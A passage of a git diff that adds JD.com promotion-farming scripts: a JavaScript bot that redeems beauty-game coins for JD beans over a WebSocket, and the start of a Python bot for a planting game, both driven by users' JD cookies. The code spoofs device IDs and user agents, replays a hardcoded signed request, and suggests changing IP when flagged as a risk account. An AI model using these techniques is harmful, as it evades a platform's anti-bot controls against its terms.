t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_beauty_ex.js b/jd_beauty_ex.js new file mode 100644 index 0000000..9d41c83 --- /dev/null +++ b/jd_beauty_ex.js @@ -0,0 +1,328 @@ +/* +美丽研究院--兑换 +活动入口:京东app首页-美妆馆-底部中间按钮 +cron 20 12 * * * jd_beauty_ex.js + */ +const $ = new Env('美丽研究院--兑换'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const WebSocket = require('ws'); +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.accountCheck = true; +$.init = false; +$.bean = '1'; //兑换多少豆,默认是500 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxx-xxxxxxxxxxxxxxxx'); + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, { "open-url": "https://bean.m.jd.com/" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await accountCheck(); + while (!$.hasDone) { + await $.wait(2000) + } + if ($.accountCheck) { + await jdBeauty(); + await $.wait(5000) + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function accountCheck() { + $.hasDone = false; + console.log(`***检测账号是否黑号***`); + await getIsvToken2() + await getToken() + if (!$.token) { + console.log(`\n\n提示:请尝试换服务器ip或者设置"xinruimz-isv.isvjcloud.com"域名直连,或者自定义UA再次尝试(环境变量JD_USER_AGENT)\n\n`) + process.exit(0); + } + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`); + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + if (vo.action === "_init_") { + let vo = JSON.parse(e.data); + if (vo.msg === "风险用户") { + $.accountCheck = false; + client.close(); + console.log(`${vo.msg},跳过此账号`) + } + } else if (vo.action === "get_user") { + $.accountCheck = true; + client.close(); + console.log(`${vo.msg},账号正常`); + } + } + client.onclose = (e) => { + $.hasDone = true; + console.log('关闭测试连接'); + }; + await $.wait(2000); + } +} + +async function jdBeauty() { + $.hasDone = false + await mr() + while (!$.hasDone) { + await $.wait(2000) + } +} + +async function mr() { + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`) + client.onopen = async () => { + console.log(`美容研究院服务器连接成功,开始兑换拉`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`) + client.send(`{"msg":{"type":"action","args":{},"action":"get_benefit"}}`) + }; + client.onclose = (e) => { + $.hasDone = true; + console.log('关闭美容研究院服务器连接'); + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + switch (vo.action) { + case "get_user": + $.total = vo.data.coins + break; + case 'get_benefit': + for (let benefit of vo.data) { + if (benefit.type === 1) { //type 1 是京豆 + console.log(`物品【${benefit.description}】需要${benefit.coins}美妆币,库存${benefit.stock}份`) + for (let i = benefit.day_exchange_count; i < benefit.day_limit; i++) { + if (parseInt(benefit.setting.beans_count) == $.bean && $.total >= benefit.coins && parseInt(benefit.day_exchange_count) < benefit.day_limit) { + console.log(`满足条件,去兑换`) + client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`) + await $.wait(4000) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`) + } + + } + } + } + break; + case "to_exchange": + if (vo.data) { + console.log(`兑换${vo.data.coins / -1000}京豆成功;${JSON.stringify(vo)}`) + } else { + console.log(`兑换京豆失败:${JSON.stringify(vo)}`) + } + break; + } + } + }; +} + +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruimz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&sign=6eb3237cff376c07a11c1e185761d073&st=1610161927336&sv=102&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token2 = data['token'] + console.log(`token2:${$.token2}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getToken() { + let config = { + url: 'https://xinruimz-isv.isvjcloud.com/api/auth', + body: JSON.stringify({ "token": $.token2, "source": "01" }), + headers: { + 'Host': 'xinruimz-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-island.v1+json', + 'Source': '02', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://xinruimz-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + 'Referer': 'https://xinruimz-isv.isvjcloud.com/logined_jd/', + 'Authorization': 'Bearer undefined', + 'Cookie': `IsvToken=${$.token2};` + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token = data.access_token + console.log(`【$.token】 ${$.token}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/GetJDUserBaseInfo?_=${Date.now()}&sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Host": "m.jingxi.com", + "Cookie": cookie, + "Referer": "https://st.jingxi.com/my/userinfo.html?sceneval=2&ptag=7205.12.4", + "User-Agent": `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + "deviceOS": "android", + "deviceOSVersion": 10, + "deviceName": "WeiXin" + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data["retcode"] === 13) { + $.isLogin = false; //cookie过期 + console.log("1"); + return; + } + if (data["retcode"] === 0) { + $.nickName = (data.nickname) || $.UserName; + } else { + $.nickName = $.UserName; + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +function randomString(e) { + e = e || 32; + let t = "abcdefghijklmnopqrstuvwxyz0123456789", a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_beauty_plant.py b/jd_beauty_plant.py new file mode 100644 index 0000000..f70163d --- /dev/null +++ b/jd_beauty_plant.py @@ -0,0 +1,1000 @@ +#!/bin/env python3 +# -*- coding: utf-8 -* +''' +感谢Curtin提供的其他脚本供我参考 +感谢aburd ch大佬的指导 +项目名称:xF_jd_beauty_plant.py +Author: 一风一扬 +功能:健康社区-种植园自动任务 +Date: 2022-1-4 +cron: 10 9,11,15,21 * * * jd_beauty_plant.py +new Env('化妆馆-种植园自动任务'); + + +活动入口:25:/¥2EaeU74Gz07gJ% + +教程:该活动与京东的ck通用,所以只需要填写第几个号运行改脚本就行了。 + +青龙变量填写export plant_cookie="1",代表京东CK的第一个号执行该脚本 + +多账号用&隔开,例如export plant_cookie="1&2",代表京东CK的第一、二个号执行该脚本。这样做,JD的ck过期就不用维护两次了,所以做出了更新。 + +青龙变量export choose_plant_id="true",表示自己选用浇水的ID,适用于种植了多个产品的人,默认为false,如果是false仅适用于种植了一个产品的人。 +对于多账号的,只要有一个账号种植多个产品,都必须为true才能浇水。如果choose_plant_id="false",planted_id可以不填写变量值。 +青龙变量export planted_id = 'xxxx',表示需要浇水的id,单账号可以先填写export planted_id = '111111',export choose_plant_id="true",运行一次脚本 +日志输出会有planted_id,然后再重新修改export planted_id = 'xxxxxx'。多个账号也一样,如果2个账号export planted_id = '111111&111111' +3个账号export planted_id = '111111&111111&111111',以此类推。 +注意:planted_id和ck位置要对应。而且你有多少个账号,就得填多少个planted_id,首次111111填写时,为6位数。 +例如export plant_cookie="xxxx&xxxx&xxx",那export planted_id = "111111&111111&111111",也要写满3个id,这样才能保证所有账号都能跑 + +https://github.com/jsNO1/e +''' + +######################################################以下代码请不要乱改###################################### + +UserAgent = '' +account = '' +cookie = '' +cookies = [] +choose_plant_id = 'false' +planted_id = '' +shop_id = '' +beauty_plant_exchange = 'false' +planted_ids = [] + +import requests +import time, datetime +import requests, re, os, sys, random, json +from urllib.parse import quote, unquote +import threading +import urllib3 + +# urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +requests.packages.urllib3.disable_warnings () + +today = datetime.datetime.now ().strftime ('%Y-%m-%d') +tomorrow = (datetime.datetime.now () + datetime.timedelta (days=1)).strftime ('%Y-%m-%d') + +nowtime = datetime.datetime.now ().strftime ('%Y-%m-%d %H:%M:%S.%f8') + +time1 = '21:00:00.00000000' +time2 = '23:00:00.00000000' + +flag_time1 = '{} {}'.format (today, time1) +flag_time2 = '{} {}'.format (today, time2) + +pwd = os.path.dirname (os.path.abspath (__file__)) + os.sep +path = pwd + "env.sh" + +sid = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdef', 32)) + +sid_ck = ''.join (random.sample ('123456789abcdef123456789abcdef123456789abcdef123456789abcdefABCDEFGHIJKLMNOPQRSTUVWXYZ', 43)) + + +def printT(s): + print ("[{0}]: {1}".format (datetime.datetime.now ().strftime ("%Y-%m-%d %H:%M:%S"), s)) + sys.stdout.flush () + + +def getEnvs(label): + try: + if label == 'True' or label == 'yes' or label == 'true' or label == 'Yes': + return True + elif label == 'False' or label == 'no' or label == 'false' or label == 'No': + return False + except: + pass + try: + if '.' in label: + return float (label) + elif '&' in label: + return label.split ('&') + elif '@' in label: + return label.split ('@') + else: + return int (label) + except: + return label + + +# 获取v4环境 特殊处理 +try: + with open (v4f, 'r', encoding='utf-8') as v4f: + v4Env = v4f.read () + r = re.compile (r'^export\s(.*?)=[\'\"]?([\w\.\-@#&=_,\[\]\{\}\(\)]{1,})+[\'\"]{0,1}$', + re.M | re.S | re.I) + r = r.findall (v4Env) + curenv = locals () + for i in r: + if i[0] != 'JD_COOKIE': + curenv[i[0]] = getEnvs (i[1]) +except: + pass + +############# 在pycharm测试ql环境用,实际用下面的代码运行 ######### +# with open(path, "r+", encoding="utf-8") as f: +# ck = f.read() +# if "JD_COOKIE" in ck: +# r = re.compile (r"pt_key=.*?pt_pin=.*?;", re.M | re.S | re.I) +# cookies = r.findall (ck) +# # print(cookies) +# # cookies = cookies[0] +# # print(cookies) +# # cookies = cookies.split ('&') +# printT ("已获取并使用ck环境 Cookie") +####################################################################### + + +if "plant_cookie" in os.environ: + if len (os.environ["plant_cookie"]) == 1: + is_ck = int(os.environ["plant_cookie"]) + cookie1 = os.environ["JD_COOKIE"].split('&') + cookie = cookie1[is_ck-1] + printT ("已获取并使用Env环境cookie") + elif len 